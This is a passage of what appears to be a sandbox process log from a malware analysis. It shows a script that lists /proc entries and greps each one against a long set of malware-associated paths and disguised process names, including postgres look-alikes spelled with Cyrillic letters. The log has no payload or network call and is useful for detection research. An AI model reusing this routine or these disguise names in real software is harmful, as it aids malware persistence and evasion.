  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1368
- /bin/grep
  grep -q systemd
  2⤵
  PID:1370
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1372
- /bin/grep
  grep exe
  2⤵
  PID:1375
- /bin/ls
  ls -latrh /proc/742
  2⤵
  PID:1374
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1377
- /bin/grep
  grep -q systemd
  2⤵
  PID:1379
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1381
- /bin/grep
  grep exe
  2⤵
  PID:1384
- /bin/ls
  ls -latrh /proc/75
  2⤵
  PID:1383
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1386
- /bin/grep
  grep -q systemd
  2⤵
  PID:1388
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1390
- /bin/grep
  grep exe
  2⤵
  PID:1393
- /bin/ls
  ls -latrh /proc/76
  2⤵
  PID:1392
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1395
- /bin/grep
  grep -q systemd
  2⤵
  PID:1397
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1399
- /bin/grep
  grep exe
  2⤵
  PID:1402
- /bin/ls
  ls -latrh /proc/77
  2⤵
  PID:1401
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1404
- /bin/grep
  grep -q systemd
  2⤵
  PID:1406
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1408
- /bin/grep
  grep exe
  2⤵
  PID:1411
- /bin/ls
  ls -latrh /proc/79
  2⤵
  PID:1410
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1413
- /bin/grep
  grep -q systemd
  2⤵
  PID:1415
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1417
- /bin/grep
  grep exe
  2⤵
  PID:1420
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1419
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1422
- /bin/grep
  grep -q systemd
  2⤵
  PID:1424
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1426
- /bin/grep
  grep exe
  2⤵
  PID:1429
- /bin/ls
  ls -latrh /proc/80
  2⤵
  PID:1428
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1431
- /bin/grep
  grep -q systemd
  2⤵
  PID:1433
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1435
- /bin/grep
  grep exe
  2⤵
  PID:1438
- /bin/ls
  ls -latrh /proc/82
  2⤵
  PID:1437
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1440
- /bin/grep
  grep -q systemd
  2⤵
  PID:1442
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1444
- /bin/grep
  grep exe
  2⤵
  PID:1447
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1446
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1449
- /bin/grep
  grep -q systemd
  2⤵
  PID:1451
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1453
- /bin/grep
  grep exe
  2⤵
  PID:1456
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1455
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1458
- /bin/grep
  grep -q systemd
  2⤵
  PID:1460
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1462
- /bin/grep
  grep exe
  2⤵
  PID:1465
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1464
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1467
- /bin/grep
  grep -q systemd
  2⤵
  PID:1469
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1471
- /bin/grep
  grep exe
  2⤵
  PID:1474
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1473
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1476
- /bin/grep
  grep -q systemd
  2⤵
  PID:1478
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1480
- /bin/grep
  grep exe
  2⤵
  PID:1483
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1482
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1485
- /bin/grep
  grep -q systemd
  2⤵
  PID:1487
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1489
- /bin/grep
  grep exe
  2⤵
  PID:1492
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1491
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1494
- /bin/grep
  grep -q systemd
  2⤵
  PID:1496
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1498
- /bin/grep
  grep exe
  2⤵
  PID:1501
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1500
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1503
- /bin/grep
  grep -q systemd
  2⤵
  PID:1505
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1507
- /bin/grep
  grep exe
  2⤵
  PID:1510
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1509
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1512
- /bin/grep
  grep -q systemd
  2⤵
  PID:1514
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1516
- /bin/grep
  grep exe
  2⤵
  PID:1519
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1518
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1521
- /bin/grep
  grep -q systemd
  2⤵
  PID:1523
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1525
- /bin/grep
  grep exe
  2⤵
  PID:1528
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1527
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1530
- /bin/grep
  grep -q systemd
  2⤵
  PID:1532
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1534
- /bin/grep
  grep exe
  2⤵
  PID:1537
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1536
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1539
- /bin/grep
  grep -q systemd
  2⤵
  PID:1541
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1543
- /bin/grep
  grep exe
  2⤵
  PID:1546
- /bin/ls
  ls -latrh /proc/dma
  2⤵
  PID:1545
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1548
- /bin/grep
  grep -q systemd
  2⤵
  PID:1550
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1552
- /bin/grep
  grep exe
  2⤵
  PID:1555
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1554
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1557
- /bin/grep
  grep -q systemd
  2⤵
  PID:1559
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1561
- /bin/grep
  grep exe
  2⤵
  PID:1564
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1563
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1566
- /bin/grep
  grep -q systemd
  2⤵
  PID:1568
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1570
- /bin/grep
  grep exe
  2⤵
  PID:1573
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1572
- /bin/grep
